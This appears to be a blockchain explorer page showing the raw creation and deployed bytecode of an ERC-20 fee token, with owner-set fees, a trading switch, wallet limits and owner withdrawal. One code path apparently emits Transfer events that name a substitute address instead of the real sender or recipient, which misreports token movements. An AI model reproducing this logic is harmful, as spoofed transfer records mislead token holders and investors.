e636500000060448201526064016105b4565b610b6a84848484036109d5565b50505050565b6001600160a01b038316610b965760405162461bcd60e51b81526004016105b490611768565b6001600160a01b038216610bbc5760405162461bcd60e51b81526004016105b4906117ad565b805f03610bd357610bce83835f61103f565b505050565b6007546001600160a01b03848116911614801590610bff57506007546001600160a01b03838116911614155b8015610c1357506001600160a01b03821615155b8015610c2a57506001600160a01b03821661dead14155b15610c3a57610c3a838383611220565b305f9081526020819052604090205480158015908190610c625750600a54610100900460ff16155b8015610c8657506001600160a01b0385165f9081526011602052604090205460ff16155b8015610caa57506001600160a01b0385165f908152600f602052604090205460ff16155b8015610cce57506001600160a01b0384165f908152600f602052604090205460ff16155b15610f2f57600a805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d1557610d156117f0565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db5919061174d565b81600181518110610dc857610dc86117f0565b6001600160a01b0392831660209182029290920101527f00000000000000000000000000000000000000000000000000000000000000001663791ac947845f8430610e1542610e1061173a565b6040518663ffffffff1660e01b8152600401610e35959493929190611804565b5f604051808303815f87803b158015610e4c575f80fd5b505af1925050508015610e5d575060015b610ec9573d808015610e8a576040519150601f19603f3d011682016040523d82523d5f602084013e610e8f565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec072381604051610ebf91906115ad565b60405180910390a1505b600a546040515f916201000090046001600160a01b03169047908381818185875af1925050503d805f8114610f19576040519150601f19603f3d011682016040523d82523d5f602084013e610f1e565b606091505b5050600a805461ff00191690555050505b610f3a8585856114cd565b5050505050565b6007546001600160a01b031633146106175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fd6e02176e58f8b0a617f78afc978b01bba4ff03a39c6d1b958bcb8c3e37cdbc491a35050565b6001600160a01b0383166110655760405162461bcd60e51b81526004016105b490611768565b6001600160a01b03821661108b5760405162461bcd60e51b81526004016105b4906117ad565b6001600160a01b0383165f90815260208190526040902054818110156111025760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b4565b6001600160a01b038085165f818152602081905260408082208686039055868416825290208054850190556006549091169003611183576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610b6a565b6006546001600160a01b03908116908416036111db576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611176565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691815260200190565b600a5460ff166112ac576001600160a01b0383165f908152600f602052604090205460ff168061126757506001600160a01b0382165f908152600f602052604090205460ff165b6112ac5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105b4565b6001600160a01b0383165f9081526011602052604090205460ff1680156112eb57506001600160a01b0382165f9081526010602052604090205460ff16155b156113d257600d548111156113685760405162461bcd60e51b815260206004820152603960248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f696e737572616e63654c6f616e416d6f756e744c696d69742e0000000000000060648201526084016105b4565b600e546001600160a01b0383165f908152602081905260409020545b61138e908361173a565b1115610bce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105b4565b6001600160a01b0382165f9081526011602052604090205460ff16801561141157506001600160a01b0383165f9081526010602052604090205460ff16155b1561148e57600d54811115610bce5760405162461bcd60e51b815260206004820152603a60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f20696e737572616e63654c6f616e416d6f756e744c696d69742e00000000000060648201526084016105b4565b6001600160a01b0382165f9081526010602052604090205460ff16610bce57600e546001600160a01b0383165f90815260208190526040902054611384565b600a546001600160a01b0384165f908152600f602052604090205460ff61010090920482161591168061151757506001600160a01b0383165f908152600f602052604090205460ff165b1561151f57505f5b5f81156115a2576001600160a01b0384165f9081526011602052604090205460ff161561156757600c546064906115569085611875565b611560919061188c565b9050611584565b600b546064906115779085611875565b611581919061188c565b90505b80156115955761159585308361103f565b61159f81846118ab565b92505b610f3a85858561103f565b5f602080835283518060208501525f5b818110156115d9578581018301518582016040015282016115bd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d2575f80fd5b5f806040838503121561161e575f80fd5b8235611629816115f9565b946020939093013593505050565b5f805f60608486031215611649575f80fd5b8335611654816115f9565b92506020840135611664816115f9565b929592945050506040919091013590565b5f8060408385031215611686575f80fd5b50508035926020909101359150565b5f602082840312156116a5575f80fd5b81356116b0816115f9565b9392505050565b5f80604083850312156116c8575f80fd5b82356116d3816115f9565b915060208301356116e3816115f9565b809150509250929050565b600181811c9082168061170257607f821691505b60208210810361172057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053057610530611726565b5f6020828403121561175d575f80fd5b81516116b0816115f9565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118545784516001600160a01b03168352938301939183019160010161182f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761053057610530611726565b5f826118a657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105305761053061172656fea264697066735822122096d334796a9906032d4384cfd268c5cdcdf3500307dcefa88e2dfa82f866a24f64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef0000000000000000000000000625a3254aeed0409c0a9c862aca2186e78a2d04
Deployed Bytecode
0x60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103cc578063db2e21bc146103e0578063dd62ed3e146103f4578063f2fde38b14610413578063f817b10314610432578063ffb54a9914610474575f80fd5b8063715018a6146103125780638490c446146103265780638da5cb5b1461035d57806395d89b411461037a578063a457c2d71461038e578063a9059cbb146103ad575f80fd5b8063372df89e11610104578063372df89e1461023d578063395093511461025e578063460731151461027d57806349bd5a5e146102915780636dc44c8f146102b057806370a08231146102de575f80fd5b806306fdde0314610155578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc578063250e39b1146101eb578063313ce56714610222575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961048d565b60405161017691906115ad565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461160d565b61051d565b6040519015158152602001610176565b3480156101b9575f80fd5b506002545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e6366004611637565b610536565b3480156101f6575f80fd5b5060085461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561022d575f80fd5b5060405160128152602001610176565b348015610248575f80fd5b5061025c610257366004611675565b610559565b005b348015610269575f80fd5b5061019e61027836600461160d565b6105c8565b348015610288575f80fd5b5061025c6105e9565b34801561029c575f80fd5b5060125461020a906001600160a01b031681565b3480156102bb575f80fd5b5061019e6102ca366004611695565b60116020525f908152604090205460ff1681565b3480156102e9575f80fd5b506101be6102f8366004611695565b6001600160a01b03165f9081526020819052604090205490565b34801561031d575f80fd5b5061025c610606565b348015610331575f80fd5b5061019e610340366004611695565b6001600160a01b03165f908152600f602052604090205460ff1690565b348015610368575f80fd5b506007546001600160a01b031661020a565b348015610385575f80fd5b50610169610619565b348015610399575f80fd5b5061019e6103a836600461160d565b610628565b3480156103b8575f80fd5b5061019e6103c736600461160d565b6106a2565b3480156103d7575f80fd5b5061025c6106af565b3480156103eb575f80fd5b5061025c61090f565b3480156103ff575f80fd5b506101be61040e3660046116b7565b610932565b34801561041e575f80fd5b5061025c61042d366004611695565b61095c565b34801561043d575f80fd5b50600b54600c54600d54600e546104549392919084565b604080519485526020850193909352918301526060820152608001610176565b34801561047f575f80fd5b50600a5461019e9060ff1681565b60606003805461049c906116ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104c8906116ee565b80156105135780601f106104ea57610100808354040283529160200191610513565b820191905f5260205f20905b8154815290600101906020018083116104f657829003601f168201915b5050505050905090565b5f3361052a8185856109d5565b60019150505b92915050565b5f33610543858285610af8565b61054e858585610b70565b506001949350505050565b610561610f41565b601e8211158015610573575060648111155b6105bd5760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600b91909155600c55565b5f3361052a8185856105da8383610932565b6105e4919061173a565b6109d5565b6105f1610f41565b5f6105fb60025490565b600d819055600e5550565b61060e610f41565b6106175f610f9b565b565b60606004805461049c906116ee565b5f33816106358286610932565b9050838110156106955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105b4565b61054e82868684036109d5565b5f3361052a818585610b70565b6106b7610f41565b600a5460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061174d565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061174d565b601280546001600160a01b0319166001600160a01b039290921691821790555f908152601060205260409020805460ff191660011790556012546108d4906001600160a01b03166001610fec565b610900307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f196109d5565b600a805460ff19166001179055565b610917610f41565b305f818152602081905260409020546106179190339061103f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610964610f41565b6001600160a01b0381166109c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b4565b6109d281610f9b565b50565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b038484610932565b90505f198114610b6a5781811015610b5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105b4565b610b6a84848484036109d5565b50505050565b6001600160a01b038316610b965760405162461bcd60e51b81526004016105b490611768565b6001600160a01b038216610bbc5760405162461bcd60e51b81526004016105b4906117ad565b805f03610bd357610bce83835f61103f565b505050565b6007546001600160a01b03848116911614801590610bff57506007546001600160a01b03838116911614155b8015610c1357506001600160a01b03821615155b8015610c2a57506001600160a01b03821661dead14155b15610c3a57610c3a838383611220565b305f9081526020819052604090205480158015908190610c625750600a54610100900460ff16155b8015610c8657506001600160a01b0385165f9081526011602052604090205460ff16155b8015610caa57506001600160a01b0385165f908152600f602052604090205460ff16155b8015610cce57506001600160a01b0384165f908152600f602052604090205460ff16155b15610f2f57600a805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d1557610d156117f0565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db5919061174d565b81600181518110610dc857610dc86117f0565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac947845f8430610e1542610e1061173a565b6040518663ffffffff1660e01b8152600401610e35959493929190611804565b5f604051808303815f87803b158015610e4c575f80fd5b505af1925050508015610e5d575060015b610ec9573d808015610e8a576040519150601f19603f3d011682016040523d82523d5f602084013e610e8f565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec072381604051610ebf91906115ad565b60405180910390a1505b600a546040515f916201000090046001600160a01b03169047908381818185875af1925050503d805f8114610f19576040519150601f19603f3d011682016040523d82523d5f602084013e610f1e565b606091505b5050600a805461ff00191690555050505b610f3a8585856114cd565b5050505050565b6007546001600160a01b031633146106175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fd6e02176e58f8b0a617f78afc978b01bba4ff03a39c6d1b958bcb8c3e37cdbc491a35050565b6001600160a01b0383166110655760405162461bcd60e51b81526004016105b490611768565b6001600160a01b03821661108b5760405162461bcd60e51b81526004016105b4906117ad565b6001600160a01b0383165f90815260208190526040902054818110156111025760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b4565b6001600160a01b038085165f818152602081905260408082208686039055868416825290208054850190556006549091169003611183576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610b6a565b6006546001600160a01b03908116908416036111db576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611176565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691815260200190565b600a5460ff166112ac576001600160a01b0383165f908152600f602052604090205460ff168061126757506001600160a01b0382165f908152600f602052604090205460ff165b6112ac5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105b4565b6001600160a01b0383165f9081526011602052604090205460ff1680156112eb57506001600160a01b0382165f9081526010602052604090205460ff16155b156113d257600d548111156113685760405162461bcd60e51b815260206004820152603960248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f696e737572616e63654c6f616e416d6f756e744c696d69742e0000000000000060648201526084016105b4565b600e546001600160a01b0383165f908152602081905260409020545b61138e908361173a565b1115610bce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105b4565b6001600160a01b0382165f9081526011602052604090205460ff16801561141157506001600160a01b0383165f9081526010602052604090205460ff16155b1561148e57600d54811115610bce5760405162461bcd60e51b815260206004820152603a60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f20696e737572616e63654c6f616e416d6f756e744c696d69742e00000000000060648201526084016105b4565b6001600160a01b0382165f9081526010602052604090205460ff16610bce57600e546001600160a01b0383165f90815260208190526040902054611384565b600a546001600160a01b0384165f908152600f602052604090205460ff61010090920482161591168061151757506001600160a01b0383165f908152600f602052604090205460ff165b1561151f57505f5b5f81156115a2576001600160a01b0384165f9081526011602052604090205460ff161561156757600c546064906115569085611875565b611560919061188c565b9050611584565b600b546064906115779085611875565b611581919061188c565b90505b80156115955761159585308361103f565b61159f81846118ab565b92505b610f3a85858561103f565b5f602080835283518060208501525f5b818110156115d9578581018301518582016040015282016115bd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d2575f80fd5b5f806040838503121561161e575f80fd5b8235611629816115f9565b946020939093013593505050565b5f805f60608486031215611649575f80fd5b8335611654816115f9565b92506020840135611664816115f9565b929592945050506040919091013590565b5f8060408385031215611686575f80fd5b50508035926020909101359150565b5f602082840312156116a5575f80fd5b81356116b0816115f9565b9392505050565b5f80604083850312156116c8575f80fd5b82356116d3816115f9565b915060208301356116e3816115f9565b809150509250929050565b600181811c9082168061170257607f821691505b60208210810361172057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053057610530611726565b5f6020828403121561175d575f80fd5b81516116b0816115f9565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118545784516001600160a01b03168352938301939183019160010161182f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761053057610530611726565b5f826118a657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105305761053061172656fea264697066735822122096d334796a9906032d4384cfd268c5cdcdf3500307dcefa88e2dfa82f866a24f64736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000625a3254aeed0409c0a9c862aca2186e78a2d04
-----Decoded View---------------
Arg [0] : wallet (address): 0x0625A3254aeED0409C0a9C862acA2186E78a2d04
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000625a3254aeed0409c0a9c862aca2186e78a2d04
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.